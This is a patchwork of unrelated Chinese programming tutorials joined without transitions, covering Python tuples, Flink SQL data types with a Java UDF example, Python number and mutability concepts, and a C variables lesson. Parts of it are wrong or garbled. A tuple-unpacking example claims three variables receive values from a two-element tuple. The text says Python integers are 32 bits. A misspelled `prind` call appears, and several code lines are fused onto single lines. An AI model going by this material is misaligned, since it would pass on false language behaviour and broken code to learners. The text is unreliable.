1.元组的概念

• 有序的不可变的元素集合
• 和列表的区别就是，元组元素不能修改

2.元组的定义

• 一个元素的写法
• (666,) 此处加，原因是要区分括号的作用
• 多个元素的写法
• (1,2,3)
• 多个对象，以逗号隔开，默认为元组
• tuple = 1,2,3,"sz"
• 从列表转换成元组
• tuple(list)
• 元组嵌套
• 元组中的元素可以是元组 （1,2,("a","b")）

3.元组的常用操作

3.1 元组的查找操作

• 获取单个元素
• tuple[index]
• index 为索引可以为负
• 获取多个元素
• tuple[start：end：step]
• start 查询的开始位置
• end 查询的结束位置
• step 查询的步长

t1 = (1,2,3,4,5,6)
print(t1[2])#输出3
print(t1[-1])#输出6
print(t1[1:5:2])#输出(2, 4)
print(t1[::-1])#输出(6, 5, 4, 3, 2, 1)

3.2 元组的获取操作

• tuple.count(item)
• 统计元组中指定元素（item）的个数
• tuple.index(item)
• 获取元组中指定元素（item）的索引
• len(tuple)
• 统计元组中元素的个数
• max(tuple)
• 返回元组中元素最大的值
• min(tuple)
• 返回元组中元素最小的值

t1 = (1,2,3,4,5,6,'a',"a","abc")
#count
print(t1.count(1))#输出 1
print(t1.count("a"))#输出 2
print(t1.count(12))#输出 0

#index
print(t1.index(1))#输出 0
print(t1.index("a"))#输出 6
print(t1.index(12))#输出 报错 

#len
print(len(t1))#输出 9

#max
print(max(t1))#输出 报错 因为里面既有int 类型也要 string类型

#min
print(min(t1))#输出 报错 因为里面既有int 类型也要 string类型

3.3 元组的判断操作

• 元素 in 元组
• 元素 not in 元组

t1 = (1,2,3,4,5,6,'a',"a","abc")
print(1 in t1)#输出 True
print(5 not in t1)#输出 False
print('a' in t1)#输出 True

3.4 元组的比较操作

• 比较运算符
• == > <

t1 = (1,2,3,4,5,6,'a',"a","abc")
t2 = (5,2,6,4,8,2,)
print(t2 == t1)#输出 False
print(t2 > t1)#输出 True
print(t2 < t1)#输出 False

3.5 元组的拼接和拆包操作

拼接

• 乘法
• (元素1，元素2….) * int类型数值 = （元素1，元素2…. ,元素1，元素2…… , …..）
• 加法
• (元素1，元素2) + (元素3，元素4) = (元素1，元素2，元素3，元素4)

t1 = (1,2,3,4,5,6,'a',"a","abc")
t2 = (5,2,6,4,8,2,)
print(t2*2)#输出 (5, 2, 6, 4, 8, 2, 5, 2, 6, 4, 8, 2)
print(t1+t2)#输出 (1, 2, 3, 4, 5, 6, 'a', 'a', 'abc', 5, 2, 6, 4, 8, 2)

拆包

• a ,b = (1,2)
• a = 1 b = 2

a,b ,c= (10,20)
print(a)#输出 10
print(b)#输出 20
print(c)#输出 30

新人到场，求关注

在介绍完一些基本概念之后，我们来认识一下，Flink SQL 中的数据类型。

Flink SQL 内置了很多常见的数据类型，并且也为用户提供了自定义数据类型的能力。

总共包含 3 部分：

1. ? 原子数据类型
2. ? 复合数据类型
3. ? 用户自定义数据类型

1.原子数据类型

? 字符串类型：

• ? CHAR、CHAR(n)：定长字符串，就和 Java 中的 Char 一样，n 代表字符的定长，取值范围 [1, 2,147,483,647]。如果不指定 n，则默认为 1。
• ? VARCHAR、VARCHAR(n)、STRING：可变长字符串，就和 Java 中的 String 一样，n 代表字符的最大长度，取值范围 [1, 2,147,483,647]。如果不指定 n，则默认为 1。STRING 等同于 VARCHAR(2147483647)。

? 二进制字符串类型：

• ? BINARY、BINARY(n)：定长二进制字符串，n 代表定长，取值范围 [1, 2,147,483,647]。如果不指定 n，则默认为 1。
• ? VARBINARY、VARBINARY(n)、BYTES：可变长二进制字符串，n 代表字符的最大长度，取值范围 [1, 2,147,483,647]。如果不指定 n，则默认为 1。BYTES 等同于 VARBINARY(2147483647)。

? 精确数值类型：

• ? DECIMAL、DECIMAL(p)、DECIMAL(p, s)、DEC、DEC(p)、DEC(p, s)、NUMERIC、NUMERIC(p)、NUMERIC(p, s)：固定长度和精度的数值类型，就和 Java 中的 BigDecimal 一样，p 代表数值位数（长度），取值范围 [1, 38]；s 代表小数点后的位数（精度），取值范围 [0, p]。如果不指定，p 默认为 10，s 默认为 0。
• ? TINYINT：-128 到 127 的 1 字节大小的有符号整数，就和 Java 中的 byte 一样。
• ? SMALLINT：-32,768 to 32,767 的 2 字节大小的有符号整数，就和 Java 中的 short 一样。
• ? INT、INTEGER：-2,147,483,648 to 2,147,483,647 的 4 字节大小的有符号整数，就和 Java 中的 int 一样。
• ? BIGINT：-9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 的 8 字节大小的有符号整数，就和 Java 中的 long 一样。

? 有损精度数值类型：

• ? FLOAT：4 字节大小的单精度浮点数值，就和 Java 中的 float 一样。
• ? DOUBLE、DOUBLE PRECISION：8 字节大小的双精度浮点数值，就和 Java 中的 double 一样。
• ? 关于 FLOAT 和 DOUBLE 的区别可见 https://www.runoob.com/w3cnote/float-and-double-different.html

? 布尔类型：BOOLEAN

? NULL 类型：NULL

? Raw 类型：RAW('class', 'snapshot') 。只会在数据发生网络传输时进行序列化，反序列化操作，可以保留其原始数据。以 Java 举例，class 参数代表具体对应的 Java 类型，snapshot 代表类型在发生网络传输时的序列化器

? 日期、时间类型：

• ? DATE：由 年-月-日 组成的 不带时区含义 的日期类型，取值范围 [0000-01-01, 9999-12-31]
• ? TIME、TIME(p)：由 小时：分钟：秒[.小数秒] 组成的 不带时区含义 的的时间的数据类型，精度高达纳秒，取值范围 [00:00:00.000000000到23:59:59.9999999]。其中 p 代表小数秒的位数，取值范围 [0, 9]，如果不指定 p，默认为 0。
• ? TIMESTAMP、TIMESTAMP(p)、TIMESTAMP WITHOUT TIME ZONE、TIMESTAMP(p) WITHOUT TIME ZONE：由 年-月-日 小时：分钟：秒[.小数秒] 组成的 不带时区含义 的时间类型，取值范围 [0000-01-01 00:00:00.000000000, 9999-12-31 23:59:59.999999999]。其中 p 代表小数秒的位数，取值范围 [0, 9]，如果不指定 p，默认为 6。
• ? TIMESTAMP WITH TIME ZONE、TIMESTAMP(p) WITH TIME ZONE：由 年-月-日 小时：分钟：秒[.小数秒] 时区 组成的 带时区含义 的时间类型，取值范围 [0000-01-01 00:00:00.000000000 +14:59, 9999-12-31 23:59:59.999999999 -14:59]。其中 p 代表小数秒的位数，取值范围 [0, 9]，如果不指定 p，默认为 6。
• ? TIMESTAMP_LTZ、TIMESTAMP_LTZ(p)：由 年-月-日 小时：分钟：秒[.小数秒] 时区 组成的 带时区含义 的时间类型，取值范围 [0000-01-01 00:00:00.000000000 +14:59, 9999-12-31 23:59:59.999999999 -14:59]。其中 p 代表小数秒的位数，取值范围 [0, 9]，如果不指定 p，默认为 6。
• ? TIMESTAMP_LTZ 与 TIMESTAMP WITH TIME ZONE 的区别在于：TIMESTAMP WITH TIME ZONE 的时区信息是携带在数据中的，举例：其输入数据应该是 2022-01-01 00:00:00.000000000 +08:00；TIMESTAMP_LTZ 的时区信息不是携带在数据中的，而是由 Flink SQL 任务的全局配置决定的，我们可以由 table.local-time-zone 参数来设置时区。
• ? INTERVAL YEAR TO MONTH、 INTERVAL DAY TO SECOND：interval 的涉及到的种类比较多。INTERVAL 主要是用于给 TIMESTAMP、TIMESTAMP_LTZ 添加偏移量的。举例，比如给 TIMESTAMP 加、减几天、几个月、几年。INTERVAL 子句总共涉及到的语法种类如下 Flink SQL 案例所示。

CREATE TABLE sink_table (
    result_interval_year TIMESTAMP(3),
    result_interval_year_p TIMESTAMP(3),
    result_interval_year_p_to_month TIMESTAMP(3),
    result_interval_month TIMESTAMP(3),
    result_interval_day TIMESTAMP(3),
    result_interval_day_p1 TIMESTAMP(3),
    result_interval_day_p1_to_hour TIMESTAMP(3),
    result_interval_day_p1_to_minute TIMESTAMP(3),
    result_interval_day_p1_to_second_p2 TIMESTAMP(3),
    result_interval_hour TIMESTAMP(3),
    result_interval_hour_to_minute TIMESTAMP(3),
    result_interval_hour_to_second TIMESTAMP(3),
    result_interval_minute TIMESTAMP(3),
    result_interval_minute_to_second_p2 TIMESTAMP(3),
    result_interval_second TIMESTAMP(3),
    result_interval_second_p2 TIMESTAMP(3)
) WITH (
  'connector' = 'print'
);
INSERT INTO sink_table
SELECT
    -- Flink SQL 支持的所有 INTERVAL 子句如下，总体可以分为 `年-月`、`日-小时-秒` 两种

    -- 1. 年-月。取值范围为 [-9999-11, +9999-11]，其中 p 是指有效位数，取值范围 [1, 4]，默认值为 2。比如如果值为 1000，但是 p = 2，则会直接报错。
    -- INTERVAL YEAR
    f1 + INTERVAL '10' YEAR as result_interval_year
    -- INTERVAL YEAR(p)
    , f1 + INTERVAL '100' YEAR(3) as result_interval_year_p
    -- INTERVAL YEAR(p) TO MONTH
    , f1 + INTERVAL '10-03' YEAR(3) TO MONTH as result_interval_year_p_to_month
    -- INTERVAL MONTH
    , f1 + INTERVAL '13' MONTH as result_interval_month

    -- 2. 日-小时-秒。取值范围为 [-999999 23:59:59.999999999, +999999 23:59:59.999999999]，其中 p1\p2 都是有效位数，p1 取值范围 [1, 6]，默认值为 2；p2 取值范围 [0, 9]，默认值为 6
    -- INTERVAL DAY
    , f1 + INTERVAL '10' DAY as result_interval_day
    -- INTERVAL DAY(p1)
    , f1 + INTERVAL '100' DAY(3) as result_interval_day_p1
    -- INTERVAL DAY(p1) TO HOUR
    , f1 + INTERVAL '10 03' DAY(3) TO HOUR as result_interval_day_p1_to_hour
    -- INTERVAL DAY(p1) TO MINUTE
    , f1 + INTERVAL '10 03:12' DAY(3) TO MINUTE as result_interval_day_p1_to_minute
    -- INTERVAL DAY(p1) TO SECOND(p2)
    , f1 + INTERVAL '10 00:00:00.004' DAY TO SECOND(3) as result_interval_day_p1_to_second_p2
    -- INTERVAL HOUR
    , f1 + INTERVAL '10' HOUR as result_interval_hour
    -- INTERVAL HOUR TO MINUTE
    , f1 + INTERVAL '10:03' HOUR TO MINUTE as result_interval_hour_to_minute
    -- INTERVAL HOUR TO SECOND(p2)
    , f1 + INTERVAL '00:00:00.004' HOUR TO SECOND(3) as result_interval_hour_to_second
    -- INTERVAL MINUTE
    , f1 + INTERVAL '10' MINUTE as result_interval_minute
    -- INTERVAL MINUTE TO SECOND(p2)
    , f1 + INTERVAL '05:05.006' MINUTE TO SECOND(3) as result_interval_minute_to_second_p2
    -- INTERVAL SECOND
    , f1 + INTERVAL '3' SECOND as result_interval_second
    -- INTERVAL SECOND(p2)
    , f1 + INTERVAL '300' SECOND(3) as result_interval_second_p2
FROM (SELECT TO_TIMESTAMP_LTZ(1640966476500, 3) as f1)

2.复合数据类型

? 数组类型：ARRAY、t ARRAY。数组最大长度为 2,147,483,647。t 代表数组内的数据类型。举例 ARRAY、ARRAY，其等同于 INT ARRAY、STRING ARRAY

? Map 类型：MAP<kt, vt>。Map 类型就和 Java 中的 Map 类型一样，key 是没有重复的。举例 Map<STRING, INT>、Map<BIGINT, STRING>

? 集合类型：MULTISET、t MULTISET。就和 Java 中的 List 类型，一样，运行重复的数据。举例 MULTISET，其等同于 INT MULTISET

? 对象类型：ROW<n0 t0, n1 t1, …>、ROW<n0 t0 'd0', n1 t1 'd1', …>、ROW(n0 t0, n1 t1, …>、ROW(n0 t0 'd0', n1 t1 'd1', …)。就和 Java 中的自定义对象一样。举例：ROW(myField INT, myOtherField BOOLEAN)，其等同于 ROW<myField INT, myOtherField BOOLEAN>

3.用户自定义数据类型

用户自定义类型就是运行用户使用 Java 等语言自定义一个数据类型出来。但是目前数据类型不支持使用 CREATE TABLE 的 DDL 进行定义，只支持作为函数的输入输出参数。如下案例：

1. ? 第一步，自定义数据类型

public class User {

    // 1. 基础类型，Flink 可以通过反射类型信息自动把数据类型获取到
    // 关于 SQL 类型和 Java 类型之间的映射见：https://nightlies.apache.org/flink/flink-docs-release-1.13/docs/dev/table/types/#data-type-extraction
    public int age;
    public String name;

    // 2. 复杂类型，用户可以通过 @DataTypeHint("DECIMAL(10, 2)") 注解标注此字段的数据类型
    public @DataTypeHint("DECIMAL(10, 2)") BigDecimal totalBalance;
}

2. ? 第二步，在 UDF 中使用此数据类型

public class UserScalarFunction extends ScalarFunction {

    // 1. 自定义数据类型作为输出参数
    public User eval(long i) {
        if (i > 0 && i <= 5) {
            User u = new User();
            u.age = (int) i;
            u.name = "name1";
            u.totalBalance = new BigDecimal(1.1d);
            return u;
        } else {
            User u = new User();
            u.age = (int) i;
            u.name = "name2";
            u.totalBalance = new BigDecimal(2.2d);
            return u;
        }
    }
    
    // 2. 自定义数据类型作为输入参数
    public String eval(User i) {
        if (i.age > 0 && i.age <= 5) {
            User u = new User();
            u.age = 1;
            u.name = "name1";
            u.totalBalance = new BigDecimal(1.1d);
            return u.name;
        } else {
            User u = new User();
            u.age = 2;
            u.name = "name2";
            u.totalBalance = new BigDecimal(2.2d);
            return u.name;
        }
    }
}

3. ? 第三步，在 Flink SQL 中使用

-- 1. 创建 UDF
CREATE FUNCTION user_scalar_func AS 'flink.examples.sql._12_data_type._02_user_defined.UserScalarFunction';

-- 2. 创建数据源表
CREATE TABLE source_table (
    user_id BIGINT NOT NULL COMMENT '用户 id'
) WITH (
  'connector' = 'datagen',
  'rows-per-second' = '1',
  'fields.user_id.min' = '1',
  'fields.user_id.max' = '10'
);

-- 3. 创建数据汇表
CREATE TABLE sink_table (
    result_row_1 ROW<age INT, name STRING, totalBalance DECIMAL(10, 2)>,
    result_row_2 STRING
) WITH (
  'connector' = 'print'
);

-- 4. SQL 查询语句
INSERT INTO sink_table
select
    -- 4.a. 用户自定义类型作为输出
    user_scalar_func(user_id) as result_row_1,
    -- 4.b. 用户自定义类型作为输出及输入
    user_scalar_func(user_scalar_func(user_id)) as result_row_2
from source_table;

-- 5. 查询结果
+I[+I[9, name2, 2.20], name2]
+I[+I[1, name1, 1.10], name1]
+I[+I[5, name1, 1.10], name1]

不可变数据类型

数字number(含int、float、bool、complex)、字符串string、元组tuple。

在同一代码块下，不同变量的值若是相同且是不可变数据类型，那么它们的id也相同，实际上它们都是同一个值的引用，这既节省了内存又提高了运行效率。举例：

num1=1000
num2=1000
print(id(num1),id(num2))

out:
2321267850064 2321267850064

需要注意的是，在REPL交互环境下输出结果不一致，这是因为在REPL交互环境每行代码都是独立的代码块。

>>> num1=1000
>>> num2=1000
>>> print(id(num1),id(num2))
2404872583088 2404872583472

可变数据类型

列表list、字典dict、集合set。

不同变量的值若是相同且是可变数据类型，那么它们的id必不同，它们不能是同一个值的引用。

举例：

>>> List1=[1,2,3]
>>> List2=[1,2,3]
>>> print(id(List1),id(List2))
2311885997568 2311885997696
>>> print(List1==List2)
True

分清楚可变数据类型和不可变数据类型相当重要，这是理解python的变量创建、释放、删除、深拷贝、浅拷贝等一系列概念前提。

一、数字类型

数字类型用于存储数学意义上的数值。

数字类型是不可变类型。所谓的不可变类型，指的是类型的值一旦有不同了，那么它就是一个全新的对象。数字1和2分别代表两个不同的对象，对变量重新赋值一个数字类型，会新建一个数字对象。

Python的变量和数据类型的关系。

变量只是对某个对象的引用或者说代号、名字、调用等等，变量本身没有数据类型的概念。类似1，[2, 3, 4]，“haha”这一类对象才具有数据类型的概念。

例如：

a = 1 # 创建数字对象1。a = 2 # 创建数字对象2，并将2赋值给变量a，a不再指向数字对象1

这里，发生了变化的是变量a的指向，而不是数字对象1变成了数字对象2。初学者可能会比较迷糊，但不要紧，我们努力去明白它。

二、Python 支持三种不同的数字类型(整数、浮点数和复数)

1. 整数(Int)

通常被称为整型，是正或负整数，不带小数点。Python3的整型可以当作Long类型(更长的整型)使用，所以 Python3没有Python2的Long类型。

例如：1，100，-8080，0，等等。

表示数字的时候，有时我们还会用八进制或十六进制来表示：

十六进制用0x前缀和0-9，a-f表示，例如：0xff00，0xa5b4c3d2。

八进制用0o前缀和0-7表示，例如0o12。

Python的整数长度为32位，并且通常是连续分配内存空间的。

什么是空间地址?

空间地址(address space)表示任何一个计算机实体所占用的内存大小。比如外设、文件、服务器或者一个网络计算机。地址空间包括物理空间以及虚拟空间。

例 :

print(id(-2))print(id(-1))print(id(0))print(id(1))print(id(2))

从上面的空间地址看，地址之间正好差32。为什么会这样?

因为Python在初始化环境的时候就在内存里自动划分了一块空间，专门用于整数对象的存取。当然，这块空间也不是无限大小的，能保存的整数是有限的，所以你会看到id(0)和id(10000)之间的地址差别很大。

>>> id(0)1456976928>>> id(10000)45818192

小整数对象池：

Python初始化的时候会自动建立一个小整数对象池，方便我们调用，避免后期重复生成!

这是一个包含262个指向整数对象的指针数组，范围是-5到256。也就是说比如整数10，即使我们在程序里没有创建它，其实在Python后台已经悄悄为我们创建了。

验证一下小整数对象池的存在

在程序运行时，包括Python后台自己的运行环境中，会频繁使用这一范围内的整数，如果每需要一个，你就创建一个，那么无疑会增加很多开销。创建一个一直存在，永不销毁，随用随拿的小整数对象池，无疑是个比较实惠的做法。

print(id(-6))print(id(-5))print(id(-4))print(id(255))print(id(256))print(id(257))

从id(-6)和id(257)的地址，我们能看出小整数对象池的范围，正好是-5到256。

除了小整数对象池，Python还有整数缓冲区的概念，也就是刚被删除的整数，不会被真正立刻删除回收，而是在后台缓冲一段时间，等待下一次的可能调用。

>>> a = 1000000>>> id(a)45818160>>> del a # 删除变量a>>> b = 1000000>>> id(b)45818160

给变量a赋值了整数1000000，看了一下它的内存地址。然后我把a删了，又创建个新变量b，依然赋值为1000000，再次看下b的内存地址，和以前a存在的是一样的。

del是Python的删除关键字，可以删除变量、函数、类等等。

这一段内容，可能感觉没什么大用，但它对于理解Python的运行机制有很大帮助。

2. 浮点数(float)

浮点数也就是小数，如1.23，3.14，-9.01，等等。但是对于很大或很小的浮点数，一般用科学计数法表示，把10用e替代，1.23×10^9就是1.23e9，或者12.3e8，0.000012可以写成1.2e-5，等等。

3. 复数( (complex))

复数由实数部分和虚数部分构成，可以用a + bj，或者complex(a,b)表示，复数的实部a和虚部b都是浮点型。关于复数，不做科学计算或其它特殊需要，通常很难遇到。

数字类型转换：

有时候，我们需要对数字的类型进行转换。Python为我们提供了方便的内置的数据类型转换函数。

int(x)：将x转换为一个整数。如果x是个浮点数，则截取小数部分。

float(x) ：将x转换到一个浮点数。

complex(x) ：将x转换到一个复数，实数部分为 x，虚数部分为 0。

complex(x, y)：将 x 和 y 转换到一个复数，实数部分为 x，虚数部分为 y。

转换过程中如果出现无法转换的对象，则会抛出异常，比如int("haha")，你说我把字符串“haha”转换为哪个整数才对?

a = 10.53b = 23print(int(a))print(float(a))print(complex(a))print(complex(a, b))

三、math库(数学计算)

科学计算需要导入math这个库，它包含了绝大多数我们可能需要的科学计算函数，一般常用的函数主要包括abs()、exp()、fabs()、max()、min()等，这里就不再赘述了，感兴趣的小伙伴可以自行百度下。

下面是两个常用数学常量：

常量描述

pi数学常量 pi(圆周率，一般以π来表示)

e数学常量 e，e即自然常数(自然常数)。

下面是一些应用展示，注意最后的角度调用方式：

import mathprint(math.log(2))print(math.cos(30))print(math.cos(60))print(math.sin(30))print(math.sin(math.degrees(30)))print(math.sin(math.radians(30)))

四、总结

本文详细的讲解了Python基础 ( 数字类型 )。介绍了有关Python 支持三种不同的数字类型。以及在实际操作中会遇到的问题，提供了解决方案。

用丰富的案例帮助大家更好理解，使用Python编程语言，方便大家更好理解，希望对大家的学习有帮助。

数据（data），在计算机中，显得尤为的重要。往往我们在编程的时候会想去赋予或者是获取某种数据，从而实现一些特定的功能。

在C语言中也有多种的数据类型，那么我会分成三章来讲解C语言的数据类型。本章要讲的是变量（variable）与 常量（ constant ）。

那什么是变量，什么是常量？

首先要理解什么是变量，什么是常量。

顾名思义，变量就是一个可变的量，常量就是一个不变化的量。当然这是广义上的概念，有助于理解即可。

上才艺（程序）

因为最近吃了牛肉火锅，体重暴涨，所以就先上一盘牛肉代码。这段小程序功能就是输入自己的体重，然后换算成用牛肉价格所得到的金额。

/*体重与牛肉*/ 

#include <stdio.h>

int main(void)
{
    float weight; 
    float value;  
         
 printf("#与牛肉的比拼#\n"); 
	
    printf("输入您的体重（KG）\n"); 
    
    scanf("%f", &weight); //将键盘输入的值赋到变量 weight

    value = 80.5 * weight; //牛肉的单价为80.5/KG
    printf("您相当于价值 %.2f 的牛肉\n", value);

    return 0;
}

疑点解答

问（1）：为啥不用整型变量（int）声明？

答（1）：首先，这里声明的是浮点数类型的变量。像小数点，整型类型的变量是不能够处理的。所以使用浮点类型可以处理更大范围的数据。

问（2）：我知道 %f 是处理浮点数的，那么 %.2f 是干啥用的？

答（2）：%.2f 中的 .2 是用于控制浮点数输出位数的，也就是数学中所提到精确到小数点后两位是同一个意思。

问（3）：scanf("%f", &weight); 这一段我不是很懂，是什么意思？

答（3）：我们知道输出的函数是 printf，那么输入的函数就是 scanf ，它的作用就是读取键盘输入的值，然后将读取到的值赋值给变量 weight，符号 & 就是找到变量 weight 的地址。

回到问题本质，变量与常量。

• 在代码中 ，浮点数类型 weight ，这就是一个变量。因为它的值，会随着用户输入值的变化而变化。
• 像 80.5，这就是一个常量，它的值就是 80.5 ，不会改变。虽然牛肉的价格在生活当中是会随着市场的变化而变化，但是在代码中就是一个常量，不必纠结。

两句话总结

一些数据类型在程序运行的时候，会被改变或者重新赋值的，叫做变量（variable）。

而另一些数据类型在程序运行之前就已经设定好值，程序运行的时候不会发生改变的，叫做常量（ constant ）。

那么到这里，这一节的内容就已经结束了，感谢您坚持阅读到最后。

创作分享不容易，点赞关注转发，就是对我最大的鼓励！

(附：有些朋友留言说STM32的视频教程很散，为此我已经将其整理到一个合集里面，大家可以直接在我的主页的合集里面观看，每一讲都已经按顺序排列好，大家自行学习)

Python 是一种面向对象、解释型编程语言，变量、数据类型和运算符是 Python 编程中的基本概念。

变量

Python 中的变量是用来存储数据的，可以通过赋值来创建变量。Python 变量名区分大小写，可以包含字母、数字和下划线，但是不能以数字开头。例如：

makefileCopy codex = 5
y = "Hello, World!"

数据类型

Python 中有许多数据类型，包括数值、字符串、布尔值、列表、元组、字典等。常见的数据类型有：

• int: 整数类型，例如 1, 2, 3, -4 等；
• float: 浮点数类型，例如 1.2, 3.14 等；
• str: 字符串类型，例如 "Hello, World!"；
• bool: 布尔类型，True 和 False；
• list: 列表类型，例如 [1, 2, 3, 4]；
• tuple: 元组类型，例如 (1, 2, 3)；
• dict: 字典类型，例如 {"name": "John", "age": 30}。

可以使用 type() 函数来查看变量的数据类型，例如：

pythonCopy codex = 5
print(type(x))  # <class 'int'>

y = "Hello, World!"
print(type(y))  # <class 'str'>

运算符

Python 中的运算符包括算术运算符、比较运算符、逻辑运算符、位运算符等。常见的运算符有：

• 算术运算符：+、-、*、/、%、**、//；
• 比较运算符：==、!=、>、<、>=、<=；
• 逻辑运算符：and、or、not；
• 位运算符：&、|、^、~、<<、>>。

例如：

scssCopy codex = 5
y = 3

print(x + y)  # 8
print(x - y)  # 2
print(x * y)  # 15
print(x / y)  # 1.6666666666666667
print(x % y)  # 2
print(x ** y)  # 125
print(x // y)  # 1

print(x == y)  # False
print(x != y)  # True
print(x > y)   # True
print(x < y)   # False
print(x >= y)  # True
print(x <= y)  # False

print(x and y)  # 3
print(x or y)   # 5
print(not x)    # False

a = 60
b = 13
print(a & b)   # 12
print(a | b)   # 61
print(a ^ b)   # 49
print(~a)      # -61
print(a << 2)  # 240
print(a >> 2)  # 15

以上是 Python 变量、数据类型和运算符的基本概念和使用方法。

附注：

在 Python 中，"#" 是单行注释的标志。当 Python 解释器在执行代码时，如果遇到"#"，就会将这个符号后面的内容都忽略掉，不执行它们，这些内容仅仅是为了注释和说明代码的作用和意图。

• 单行注释可以在代码中的任何位置使用，甚至可以在一行的末尾使用。例如：

# This is a single line comment
print("Hello, World!") # This is also a comment at the end of a line

注释可以增加代码的可读性和可维护性，有助于其他程序员理解你的代码和修改代码。在编写代码时，应该经常使用注释，解释你的代码的逻辑和目的，以方便日后的维护和开发。

• 除了单行注释，Python 还支持多行注释。多行注释通常用于在文件开头或函数开头进行说明。多行注释以三个引号 """ 或 ''' 开始，以三个引号结束。例如：

"""
This is a
multi-line
comment
"""

总之，注释是 Python 代码中很重要的一部分，可以提高代码的可读性和可维护性。

前面介绍了python的发展历史，优势，python学习的好处，python的基本概念等等，从这篇教程开始，正式进入主角python相关课程的学习。

学习任何一门编程语言，都会涉及到数据类型的概念。什么是数据类型呢，简单的来说就是数据类别型号。在计算机中，不同的数据所占用的存储空间是不同的，为了便于把数据分成所需内存大小不同的数据，充分利用存储空间，于是定义了不同的数据类型。

介绍数据类型之前，还需要知道另外一个概念—变量，简单来说变量就是在计算机语言中用来存储结果或能表示值的抽象概念。从形式上看，每个变量都拥有独一无二的名字，例如a=1，a为变量，1为值。从底层看，程序中的数据都要放在内存中，变量就是存放值的内存空间的名字。

python变量命名规则

• 变量名只能包含字母、数字和下划线。变量名能以字母或下划线开头，但不能以数字开头
• 变量名不能包含空格，但能使用下划线来分割其中的单词
• 不能将python关键字和函数名作为变量名（也称保留字）
• 中文字符其实也可以作为变量名，但是强烈建议不要使用

python中使用keyword模块查看保留关键字

import keyword
print(keyword.kwlist)

python使用注意事项：

1、变量定义： 变量名 = 变量值

2、动态语言：变量在定义时，不需要申明变量的数据类型，变量的类型根据值定

3、变量在定义的时候，必须赋值

4、变量的数据类型可以随时改变（变量的类型根据值定）

5、如果变量的值发生变化，那么变量存储的数据值也会发生变化（内存中的地址也会发生变化）

6、通过id函数可以获取变量在内存中的地址

a= 1
prind(id(a))     #获取变量a的内存地址

python基本数据类型

python中定义了6种基本数据类型：数字（Number）、字符串（String）、元组（Tuple）、列表（List）、字典（Dictionary），集合（Set）。

其中数字（Number）、字符串（String）、元组（Tuple）属于不可变数据（就是不能修改值），列表（List）、字典（Dictionary），集合（Set）属于可变数据（可以修改值）

下面的示例简单体会下，什么叫不可变数据，什么叫可变数据

# 例如，数字属于不可变数据类型，如果改变其值，相当于重新分配内存空间
a = 1
a = 2
print(a)   #2

# 例如，列表属于可变数据类型，修改某个元素的值就修改了整个变量的赋值
a = [1,2,3]
a[1]=3
print(a)		#a=[1, 3, 3]

数据类型，又可以分为有序序列和无序序列，其中数字、字符串、列表、元组、属于有序序列，字典、集合属于无序序列。一般来说可通过索引来取值的就是有序的，但数字不可索引

数字（Number）类型介绍

数字（Number）用于存储数值，属于不可变类型，如果改变其值就意味着重新分配内存空间。python中支持三种不同的数值类型：

1、整型（int）：整型或整数，包含正或负整数，不带小数点

2、浮点数（float）：由整数部分与小数部分组成，浮点型也可以使用科学计数法表示（3.8e2 = 3.8*10^2 = 380.0）

3、复数（complex）：复数由实数部分和虚数部分构成，可以用a+bj或者complex(a,b)表示

数字类型转换

• int(x)将x转换为一个整数
• float(x)将x转为浮点数
• complex(x) 将x转换到一个复数，实数部分为 x，虚数部分为 0
• complex(x, y) 将 x 和 y 转换到一个复数，实数部分为 x，虚数部分为 y。x 和 y 是数字表达式。

数学运算符

数学函数

数学常量

至此，python基本数据类型数字就讲解完毕了，下节将开始讲解字符和列表相关知识。